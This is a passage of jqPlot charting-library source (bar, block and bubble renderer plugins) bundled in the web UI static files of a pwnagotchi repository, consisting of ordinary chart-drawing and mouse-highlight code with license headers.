points.push([base+this.barWidth/2, ystart]); } // for negative bars make sure points are always ordered clockwise else { points.push([base-this.barWidth/2, gridData[i][1]]); points.push([base-this.barWidth/2, ystart]); points.push([base+this.barWidth/2, ystart]); points.push([base+this.barWidth/2, gridData[i][1]]); } this._barPoints.push(points); // now draw the shadows if not stacked. // for stacked plots, they are predrawn by drawShadow if (shadow && !this._stack) { var sopts = $.extend(true, {}, opts); // need to get rid of fillStyle on shadow. delete sopts.fillStyle; this.renderer.shadowRenderer.draw(ctx, points, sopts); } var clr = opts.fillStyle || this.color; this._dataColors.push(clr); this.renderer.shapeRenderer.draw(ctx, points, opts); } } else if (this.barDirection == 'horizontal'){ for (var i=0; i<gridData.length; i++) { if (!this._stack && this.data[i][0] == null) { continue; } points = []; base = gridData[i][1] - this._barNudge; xstart; if (this._stack && this._prevGridData.length) { xstart = getStart(this.index, i, this._plotData[i][0], plot, 'x'); } // not stacked else { if (this.fillToZero) { xstart = this._xaxis.series_u2p(0); } else if (this.waterfall && i > 0 && i < this.gridData.length-1) { xstart = this.gridData[i-1][0]; } else if (this.waterfall && i == 0 && i < this.gridData.length-1) { if (this._xaxis.min <= 0 && this._xaxis.max >= 0) { xstart = this._xaxis.series_u2p(0); } else if (this._xaxis.min > 0) { xstart = 0; } else { xstart = 0; } } else if (this.waterfall && i == this.gridData.length - 1) { if (this._xaxis.min <= 0 && this._xaxis.max >= 0) { xstart = this._xaxis.series_u2p(0); } else if (this._xaxis.min > 0) { xstart = 0; } else { xstart = ctx.canvas.width; } } else { xstart = 0; } } if ((this.fillToZero && this._plotData[i][0] < 0) || (this.waterfall && this._data[i][0] < 0)) { if (this.varyBarColor && !this._stack) { if (this.useNegativeColors) { opts.fillStyle = negativeColors.next(); } else { opts.fillStyle = positiveColors.next(); } } else { opts.fillStyle = negativeColor; } } else { if (this.varyBarColor && !this._stack) { opts.fillStyle = positiveColors.next(); } else { opts.fillStyle = positiveColor; } } if (!this.fillToZero || this._plotData[i][0] >= 0) { points.push([xstart, base + this.barWidth / 2]); points.push([xstart, base - this.barWidth / 2]); points.push([gridData[i][0], base - this.barWidth / 2]); points.push([gridData[i][0], base + this.barWidth / 2]); } else { points.push([gridData[i][0], base + this.barWidth / 2]); points.push([gridData[i][0], base - this.barWidth / 2]); points.push([xstart, base - this.barWidth / 2]); points.push([xstart, base + this.barWidth / 2]); } this._barPoints.push(points); // now draw the shadows if not stacked. // for stacked plots, they are predrawn by drawShadow if (shadow && !this._stack) { var sopts = $.extend(true, {}, opts); delete sopts.fillStyle; this.renderer.shadowRenderer.draw(ctx, points, sopts); } var clr = opts.fillStyle || this.color; this._dataColors.push(clr); this.renderer.shapeRenderer.draw(ctx, points, opts); } } } if (this.highlightColors.length == 0) { this.highlightColors = $.jqplot.computeHighlightColors(this._dataColors); } else if (typeof(this.highlightColors) == 'string') { var temp = this.highlightColors; this.highlightColors = []; for (var i=0; i<this._dataColors.length; i++) { this.highlightColors.push(temp); } } }; // for stacked plots, shadows will be pre drawn by drawShadow. $.jqplot.BarRenderer.prototype.drawShadow = function(ctx, gridData, options, plot) { var i; var opts = (options != undefined) ? options : {}; var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var xaxis = this.xaxis; var yaxis = this.yaxis; var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var pointx, points, pointy, nvals, nseries, pos; if (this._stack && this.shadow) { if (this.barWidth == null) { this.renderer.setBarWidth.call(this); } var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); nvals = temp[0]; nseries = temp[1]; pos = temp[2]; if (this._stack) { this._barNudge = 0; } else { this._barNudge = (-Math.abs(nseries/2 - 0.5) + pos) * (this.barWidth + this.barPadding); } if (showLine) { if (this.barDirection == 'vertical') { for (var i=0; i<gridData.length; i++) { if (this.data[i][1] == null) { continue; } points = []; var base = gridData[i][0] + this._barNudge; var ystart; if (this._stack && this._prevGridData.length) { ystart = getStart(this.index, i, this._plotData[i][1], plot, 'y'); } else { if (this.fillToZero) { ystart = this._yaxis.series_u2p(0); } else { ystart = ctx.canvas.height; } } points.push([base-this.barWidth/2, ystart]); points.push([base-this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, ystart]); this.renderer.shadowRenderer.draw(ctx, points, opts); } } else if (this.barDirection == 'horizontal'){ for (var i=0; i<gridData.length; i++) { if (this.data[i][0] == null) { continue; } points = []; var base = gridData[i][1] - this._barNudge; var xstart; if (this._stack && this._prevGridData.length) { xstart = getStart(this.index, i, this._plotData[i][0], plot, 'x'); } else { if (this.fillToZero) { xstart = this._xaxis.series_u2p(0); } else { xstart = 0; } } points.push([xstart, base+this.barWidth/2]); points.push([gridData[i][0], base+this.barWidth/2]); points.push([gridData[i][0], base-this.barWidth/2]); points.push([xstart, base-this.barWidth/2]); this.renderer.shadowRenderer.draw(ctx, points, opts); } } } } }; function postInit(target, data, options) { for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.BarRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.barRenderer && this.plugins.barRenderer.highlightCanvas) { this.plugins.barRenderer.highlightCanvas.resetCanvas(); this.plugins.barRenderer.highlightCanvas = null; } this.plugins.barRenderer = {highlightedSeriesIndex:null}; this.plugins.barRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.barRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-barRenderer-highlight-canvas', this._plotDimensions, this)); this.plugins.barRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } function highlight (plot, sidx, pidx, points) { var s = plot.series[sidx]; var canvas = plot.plugins.barRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.barRenderer.highlightedSeriesIndex = sidx; var opts = {fillStyle: s.highlightColors[pidx]}; s.renderer.shapeRenderer.draw(canvas._ctx, points, opts); canvas = null; } function unhighlight (plot) { var canvas = plot.plugins.barRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.barRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); canvas = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].show && plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.barRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.barRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.barRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.barRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.blockRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.BlockRenderer * Plugin renderer to draw a x-y block chart. A Block chart has data points displayed as * colored squares with a text label inside. Data must be supplied in the form: * * > [[x1, y1, "label 1", {css}], [x2, y2, "label 2", {css}], ...] * * The label and css object are optional. If the label is ommitted, the * box will collapse unless a css height and/or width is specified. * * The css object is an object specifying css properties * such as: * * > {background:'#4f98a5', border:'3px solid gray', padding:'1px'} * * Note that css properties specified with the data point override defaults * specified with the series. * */ $.jqplot.BlockRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.BlockRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.BlockRenderer.prototype.constructor = $.jqplot.BlockRenderer; // called with scope of a series $.jqplot.BlockRenderer.prototype.init = function(options) { // Group: Properties // // prop: css // default css styles that will be applied to all data blocks. // these values will be overridden by css styles supplied with the // individulal data points. this.css = {padding:'2px', border:'1px solid #999', textAlign:'center'}; // prop: escapeHtml // true to escape html in the box label. this.escapeHtml = false; // prop: insertBreaks // true to turn spaces in data block label into html breaks <br />. this.insertBreaks = true; // prop: varyBlockColors // true to vary the color of each block in this series according to // the seriesColors array. False to set each block to the color // specified on this series. This has no effect if a css background color // option is specified in the renderer css options. this.varyBlockColors = false; $.extend(true, this, options); if (this.css.backgroundColor) { this.color = this.css.backgroundColor; } else if (this.css.background) { this.color = this.css.background; } else if (!this.varyBlockColors) { this.css.background = this.color; } this.canvas = new $.jqplot.BlockCanvas(); this.shadowCanvas = new $.jqplot.BlockCanvas(); this.canvas._plotDimensions = this._plotDimensions; this.shadowCanvas._plotDimensions = this._plotDimensions; this._type = 'block'; // group: Methods // // Method: moveBlock // Moves an individual block. More efficient than redrawing // the whole series by calling plot.drawSeries(). // Properties: // idx - the 0 based index of the block or point in this series. // x - the x coordinate in data units (value on x axis) to move the block to. // y - the y coordinate in data units (value on the y axis) to move the block to. // duration - optional parameter to create an animated movement. Can be a // number (higher is slower animation) or 'fast', 'normal' or 'slow'. If not // provided, the element is moved without any animation. this.moveBlock = function (idx, x, y, duration) { // update plotData, stackData, data and gridData // x and y are in data coordinates. var el = this.canvas._elem.children(':eq('+idx+')'); this.data[idx][0] = x; this.data[idx][1] = y; this._plotData[idx][0] = x; this._plotData[idx][1] = y; this._stackData[idx][0] = x; this._stackData[idx][1] = y; this.gridData[idx][0] = this._xaxis.series_u2p(x); this.gridData[idx][1] = this._yaxis.series_u2p(y); var w = el.outerWidth(); var h = el.outerHeight(); var left = this.gridData[idx][0] - w/2 + 'px'; var top = this.gridData[idx][1] - h/2 + 'px'; if (duration) { if (parseInt(duration, 10)) { duration = parseInt(duration, 10); } el.animate({left:left, top:top}, duration); } else { el.css({left:left, top:top}); } el = null; }; }; // called with scope of series $.jqplot.BlockRenderer.prototype.draw = function (ctx, gd, options) { if (this.plugins.pointLabels) { this.plugins.pointLabels.show = false; } var i, el, d, gd, t, css, w, h, left, top; var opts = (options != undefined) ? options : {}; var colorGenerator = new $.jqplot.ColorGenerator(this.seriesColors); this.canvas._elem.empty(); for (i=0; i<this.gridData.length; i++) { d = this.data[i]; gd = this.gridData[i]; t = ''; css = {}; if (typeof d[2] == 'string') { t = d[2]; } else if (typeof d[2] == 'object') { css = d[2]; } if (typeof d[3] == 'object') { css = d[3]; } if (this.insertBreaks){ t = t.replace(/ /g, '<br />'); } css = $.extend(true, {}, this.css, css); // create a div el = $('<div style="position:absolute;margin-left:auto;margin-right:auto;"></div>'); this.canvas._elem.append(el); // set text this.escapeHtml ? el.text(t) : el.html(t); // style it // remove styles we don't want overridden. delete css.position; delete css.marginRight; delete css.marginLeft; if (!css.background && !css.backgroundColor && !css.backgroundImage){ css.background = colorGenerator.next(); } el.css(css); w = el.outerWidth(); h = el.outerHeight(); left = gd[0] - w/2 + 'px'; top = gd[1] - h/2 + 'px'; el.css({left:left, top:top}); el = null; } }; $.jqplot.BlockCanvas = function() { $.jqplot.ElemContainer.call(this); this._ctx; }; $.jqplot.BlockCanvas.prototype = new $.jqplot.ElemContainer(); $.jqplot.BlockCanvas.prototype.constructor = $.jqplot.BlockCanvas; $.jqplot.BlockCanvas.prototype.createElement = function(offsets, clss, plotDimensions) { this._offsets = offsets; var klass = 'jqplot-blockCanvas'; if (clss != undefined) { klass = clss; } var elem; // if this canvas already has a dom element, don't make a new one. if (this._elem) { elem = this._elem.get(0); } else { elem = document.createElement('div'); } // if new plotDimensions supplied, use them. if (plotDimensions != undefined) { this._plotDimensions = plotDimensions; } var w = this._plotDimensions.width - this._offsets.left - this._offsets.right + 'px'; var h = this._plotDimensions.height - this._offsets.top - this._offsets.bottom + 'px'; this._elem = $(elem); this._elem.css({ position: 'absolute', width:w, height:h, left: this._offsets.left, top: this._offsets.top }); this._elem.addClass(klass); return this._elem; }; $.jqplot.BlockCanvas.prototype.setContext = function() { this._ctx = { canvas:{ width:0, height:0 }, clearRect:function(){return null;} }; return this._ctx; }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.bubbleRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { var arrayMax = function( array ){ return Math.max.apply( Math, array ); }; var arrayMin = function( array ){ return Math.min.apply( Math, array ); }; /** * Class: $.jqplot.BubbleRenderer * Plugin renderer to draw a bubble chart. A Bubble chart has data points displayed as * colored circles with an optional text label inside. To use * the bubble renderer, you must include the bubble renderer like: * * > <script language="javascript" type="text/javascript" src="../src/plugins/jqplot.bubbleRenderer.js"></script> * * Data must be supplied in * the form: * * > [[x1, y1, r1, <label or {label:'text', color:color}>], ...] * * where the label or options * object is optional. * * Note that all bubble colors will be the same * unless the "varyBubbleColors" option is set to true. Colors can be specified in the data array * or in the seriesColors array option on the series. If no colors are defined, the default jqPlot * series of 16 colors are used. Colors are automatically cycled around again if there are more * bubbles than colors. * * Bubbles are autoscaled by default to fit within the chart area while maintaining * relative sizes. If the "autoscaleBubbles" option is set to false, the r(adius) values * in the data array a treated as literal pixel values for the radii of the bubbles. * * Properties are passed into the bubble renderer in the rendererOptions object of * the series options like: * * > seriesDefaults: { * > renderer: $.jqplot.BubbleRenderer, * > rendererOptions: { * > bubbleAlpha: 0.7, * > varyBubbleColors: false * > } * > } * */ $.jqplot.BubbleRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.BubbleRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.BubbleRenderer.prototype.constructor = $.jqplot.BubbleRenderer; // called with scope of a series $.jqplot.BubbleRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: varyBubbleColors // True to vary the color of each bubble in this series according to // the seriesColors array. False to set each bubble to the color // specified on this series. This has no effect if a css background color // option is specified in the renderer css options. this.varyBubbleColors = true; // prop: autoscaleBubbles // True to scale the bubble radius based on plot size. // False will use the radius value as provided as a raw pixel value for // bubble radius. this.autoscaleBubbles = true; // prop: autoscaleMultiplier // Multiplier the bubble size if autoscaleBubbles is true. this.autoscaleMultiplier = 1.0; // prop: autoscalePointsFactor // Factor which decreases bubble size based on how many bubbles on on the chart. // 0 means no adjustment for number of bubbles. Negative values will decrease // size of bubbles as more bubbles are added. Values between 0 and -0.2 // should work well. this.autoscalePointsFactor = -0.07; // prop: escapeHtml // True to escape html in bubble label text. this.escapeHtml = true; // prop: highlightMouseOver // True to highlight bubbles when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a bubble. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // An array of colors to use when highlighting a slice. Calculated automatically // if not supplied. this.highlightColors = []; // prop: bubbleAlpha // Alpha transparency to apply to all bubbles in this series. this.bubbleAlpha = 1.0; // prop: highlightAlpha // Alpha transparency to apply when highlighting bubble. // Set to value of bubbleAlpha by default. this.highlightAlpha = null; // prop: bubbleGradients // True to color the bubbles with gradient fills instead of flat colors. // NOT AVAILABLE IN IE due to lack of excanvas support for radial gradient fills. // will be ignored in IE. this.bubbleGradients = false; // prop: showLabels // True to show labels on bubbles (if any), false to not show. this.showLabels = true; // array of [point index, radius] which will be sorted in descending order to plot // largest points below smaller points. this.radii = []; this.maxRadius = 0; // index of the currenty highlighted point, if any this._highlightedPoint = null; // array of jQuery labels. this.labels = []; this.bubbleCanvases = []; this._type = 'bubble'; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } $.extend(true, this, options); if (this.highlightAlpha == null) { this.highlightAlpha = this.bubbleAlpha; if (this.bubbleGradients) { this.highlightAlpha = 0.35; } } this.autoscaleMultiplier = this.autoscaleMultiplier * Math.pow(this.data.length, this.autoscalePointsFactor); // index of the currenty highlighted point, if any this._highlightedPoint = null; // adjust the series colors for options colors passed in with data or for alpha. // note, this can leave undefined holes in the seriesColors array. var comps; for (var i=0; i<this.data.length; i++) { var color = null; var d = this.data[i]; this.maxRadius = Math.max(this.maxRadius, d[2]); if (d[3]) { if (typeof(d[3]) == 'object') { color = d[3]['color']; } } if (color == null) { if (this.seriesColors[i] != null) { color = this.seriesColors[i]; } } if (color && this.bubbleAlpha < 1.0) { comps = $.jqplot.getColorComponents(color); color = 'rgba('+comps[0]+', '+comps[1]+', '+comps[2]+', '+this.bubbleAlpha+')'; } if (color) { this.seriesColors[i] = color; } } if (!this.varyBubbleColors) { this.seriesColors = [this.color]; } this.colorGenerator = new $.jqplot.ColorGenerator(this.seriesColors); // set highlight colors if none provided if (this.highlightColors.length == 0) { for (var i=0; i<this.seriesColors.length; i++){ var rgba = $.jqplot.getColorComponents(this.seriesColors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } this.highlightColors.push('rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+', '+this.highlightAlpha+')'); } } this.highlightColorGenerator = new $.jqplot.ColorGenerator(this.highlightColors); var sopts = {fill:true, isarc:true, angle:this.shadowAngle, alpha:this.shadowAlpha, closePath:true}; this.renderer.shadowRenderer.init(sopts); this.canvas = new $.jqplot.DivCanvas(); this.canvas._plotDimensions = this._plotDimensions; plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); plot.postDrawHooks.addOnce(postPlotDraw); }; // converts the user data values to grid coordinates and stores them // in the gridData array. // Called with scope of a series. $.jqplot.BubbleRenderer.prototype.setGridData = function(plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var data = this._plotData; this.gridData = []; var radii = []; this.radii = []; var dim = Math.min(plot._height, plot._width); for (var i=0; i<this.data.length; i++) { if (data[i] != null) { this.gridData.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i][1]), data[i][2]]); this.radii.push([i, data[i][2]]); radii.push(data[i][2]); } } var r, val, maxr = this.maxRadius = arrayMax(radii); var l = this.gridData.length; if (this.autoscaleBubbles) { for (var i=0; i<l; i++) { val = radii[i]/maxr; r = this.autoscaleMultiplier * dim / 6; this.gridData[i][2] = r * val; } } this.radii.sort(function(a, b) { return b[1] - a[1]; }); }; // converts any arbitrary data values to grid coordinates and // returns them. This method exists so that plugins can use a series' // linerenderer to generate grid data points without overwriting the // grid data associated with that series. // Called with scope of a series. $.jqplot.BubbleRenderer.prototype.makeGridData = function(data, plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var gd = []; var radii = []; this.radii = []; var dim = Math.min(plot._height, plot._width); for (var i=0; i<data.length; i++) { if (data[i] != null) { gd.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i][1]), data[i][2]]); radii.push(data[i][2]); this.radii.push([i, data[i][2]]); } } var r, val, maxr = this.maxRadius = arrayMax(radii); var l = this.gridData.length; if (this.autoscaleBubbles) { for (var i=0; i<l; i++) { val = radii[i]/maxr; r = this.autoscaleMultiplier * dim / 6; gd[i][2] = r * val; } } this.radii.sort(function(a, b) { return b[1] - a[1]; }); return gd; }; // called with scope of series $.jqplot.BubbleRenderer.prototype.draw = function (ctx, gd, options) { if (this.plugins.pointLabels) { this.plugins.pointLabels.show = false; } var opts = (options != undefined) ? options : {}; var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; this.canvas._elem.empty(); for (var i=0; i<this.radii.length; i++) { var idx = this.radii[i][0]; var t=null; var color = null; var el = null; var tel = null; var d = this.data[idx]; var gd = this.gridData[idx]; if (d[3]) { if (typeof(d[3]) == 'object') { t = d[3]['label']; } else if (typeof(d[3]) == 'string') { t = d[3]; } } // color = (this.varyBubbleColors) ? this.colorGenerator.get(idx) : this.color; color = this.colorGenerator.get(idx); // If we're drawing a shadow, expand the canvas dimensions to accomodate. var canvasRadius = gd[2]; var offset, depth; if (this.shadow) { offset = (0.7 + gd[2]/40).toFixed(1); depth = 1 + Math.ceil(gd[2]/15); canvasRadius += offset*depth; } this.bubbleCanvases[idx] = new $.jqplot.BubbleCanvas(); this.canvas._elem.append(this.bubbleCanvases[idx].createElement(gd[0], gd[1], canvasRadius)); this.bubbleCanvases[idx].setContext(); var ctx = this.bubbleCanvases[idx]._ctx; var x = ctx.canvas.width/2; var y = ctx.canvas.height/2; if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [x, y, gd[2], 0, 2*Math.PI], {offset: offset, depth: depth}); } this.bubbleCanvases[idx].draw(gd[2], color, this.bubbleGradients, this.shadowAngle/180*Math.PI); // now draw label. if (t && this.showLabels) { tel = $('<div style="position:absolute;" class="jqplot-bubble-label"></div>'); if (this.escapeHtml) { tel.text(t); } else { tel.html(t); } this.canvas._elem.append(tel); var h = $(tel).outerHeight(); var w = $(tel).outerWidth(); var top = gd[1] - 0.5*h; var left = gd[0] - 0.5*w; tel.css({top: top, left: left}); this.labels[idx] = $(tel); } } }; $.jqplot.DivCanvas = function() { $.jqplot.ElemContainer.call(this); this._ctx; }; $.jqplot.DivCanvas.prototype = new $.jqplot.ElemContainer(); $.jqplot.DivCanvas.prototype.constructor = $.jqplot.DivCanvas; $.jqplot.DivCanvas.prototype.createElement = function(offsets, clss, plotDimensions) { this._offsets = offsets; var klass = 'jqplot-DivCanvas'; if (clss != undefined) { klass = clss; } var elem; // if this canvas already has a dom element, don't make a new one. if (this._elem) { elem = this._elem.get(0); } else { elem = document.createElement('div'); } // if new plotDimensions supplied, use them. if (plotDimensions != undefined) { this._plotDimensions = plotDimensions; } var w = this._plotDimensions.width - this._offsets.left - this._offsets.right + 'px'; var h = this._plotDimensions.height - this._offsets.top - this._offsets.bottom + 'px'; this._elem = $(elem); this._elem.css({ position: 'absolute', width:w, height:h, left: this._offsets.left, top: this._offsets.top }); this._elem.addClass(klass); return this._elem; }; $.jqplot.DivCanvas.prototype.setContext = function() { this._ctx = { canvas:{ width:0, height:0 }, clearRect:function(){return null;} }; return this._ctx; }; $.jqplot.BubbleCanvas = function() { $.jqplot.ElemContainer.call(this); this._ctx; }; $.jqplot.BubbleCanvas.prototype = new $.jqplot.ElemContainer(); $.jqplot.BubbleCanvas.prototype.constructor = $.jqplot.BubbleCanvas; // initialize with the x,y pont of bubble center and the bubble radius. $.jqplot.BubbleCanvas.prototype.createElement = function(x, y, r) { var klass = 'jqplot-bubble-point'; var elem; // if this canvas already has a dom element, don't make a new one. if (this._elem) { elem = this._elem.get(0); } else { elem = document.createElement('canvas'); } elem.width = (r != null) ? 2*r : elem.width; elem.height = (r != null) ? 2*r : elem.height; this._elem = $(elem); var l = (x != null && r != null) ? x - r : this._elem.css('left'); var t = (y != null && r != null) ? y - r : this._elem.css('top'); this._elem.css({ position: 'absolute', left: l, top: t }); this._elem.addClass(klass); if ($.jqplot.use_excanvas) { window.G_vmlCanvasManager.init_(document); elem = window.G_vmlCanvasManager.initElement(elem); } return this._elem; }; $.jqplot.BubbleCanvas.prototype.draw = function(r, color, gradients, angle) { var ctx = this._ctx; // r = Math.floor(r*1.04); // var x = Math.round(ctx.canvas.width/2); // var y = Math.round(ctx.canvas.height/2); var x = ctx.canvas.width/2; var y = ctx.canvas.height/2; ctx.save(); if (gradients && !$.jqplot.use_excanvas) { r = r*1.04; var comps = $.jqplot.getColorComponents(color); var colorinner = 'rgba('+Math.round(comps[0]+0.8*(255-comps[0]))+', '+Math.round(comps[1]+0.8*(255-comps[1]))+', '+Math.round(comps[2]+0.8*(255-comps[2]))+', '+comps[3]+')'; var colorend = 'rgba('+comps[0]+', '+comps[1]+', '+comps[2]+', 0)'; // var rinner = Math.round(0.35 * r); // var xinner = Math.round(x - Math.cos(angle) * 0.33 * r); // var yinner = Math.round(y - Math.sin(angle) * 0.33 * r); var rinner = 0.35 * r; var xinner = x - Math.cos(angle) * 0.33 * r; var yinner = y - Math.sin(angle) * 0.33 * r; var radgrad = ctx.createRadialGradient(xinner, yinner, rinner, x, y, r); radgrad.addColorStop(0, colorinner); radgrad.addColorStop(0.93, color); radgrad.addColorStop(0.96, colorend); radgrad.addColorStop(1, colorend); // radgrad.addColorStop(.98, colorend); ctx.fillStyle = radgrad; ctx.fillRect(0,0, ctx.canvas.width, ctx.canvas.height); } else { ctx.fillStyle = color; ctx.strokeStyle = color; ctx.lineWidth = 1; ctx.beginPath(); var ang = 2*Math.PI; ctx.arc(x, y, r, 0, ang, 0); ctx.closePath(); ctx.fill(); } ctx.restore(); }; $.jqplot.BubbleCanvas.prototype.setContext = function() { this._ctx = this._elem.get(0).getContext("2d"); return this._ctx; }; $.jqplot.BubbleAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.BubbleAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.BubbleAxisRenderer.prototype.constructor = $.jqplot.BubbleAxisRenderer; // called with scope of axis object. $.jqplot.BubbleAxisRenderer.prototype.init = function(options){ $.extend(true, this, options); var db = this._dataBounds; var minsidx = 0, minpidx = 0, maxsidx = 0, maxpidx = 0, maxr = 0, minr = 0, minMaxRadius = 0, maxMaxRadius = 0, maxMult = 0, minMult = 0; // Go through all the series attached to this axis and find // the min/max bounds for this axis. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; var d = s._plotData; for (var j=0; j<d.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { if (d[j][0] < db.min || db.min == null) { db.min = d[j][0]; minsidx=i; minpidx=j; minr = d[j][2]; minMaxRadius = s.maxRadius; minMult = 